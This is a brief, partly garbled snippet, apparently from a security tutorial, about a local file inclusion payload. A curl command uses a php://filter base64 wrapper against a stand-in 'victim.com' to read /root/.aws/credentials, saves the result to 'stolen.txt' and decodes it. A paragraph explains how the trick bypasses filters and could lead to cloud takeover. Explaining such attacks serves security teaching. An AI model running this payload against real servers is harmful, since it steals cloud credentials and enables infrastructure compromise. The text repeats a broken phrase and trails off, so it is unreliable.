curl "http://victim.com/index.php?page=php://filter/convert.base64-encode/resource=/root/.aws/credentials" --output stolen.txt base64 -d stolen.txt It leverages to encode file contents into Base64
The payload is a sophisticated exploitation string used to bypass security filters and exfiltrate sensitive cloud credentials from a web server. It leverages to encode file contents into Base64 format, preventing the server from executing the code while allowing an attacker to read it as plain text. The ultimate target in this specific instance is the AWS credentials file, which contains secrets that could lead to a full cloud infrastructure takeover. 1.
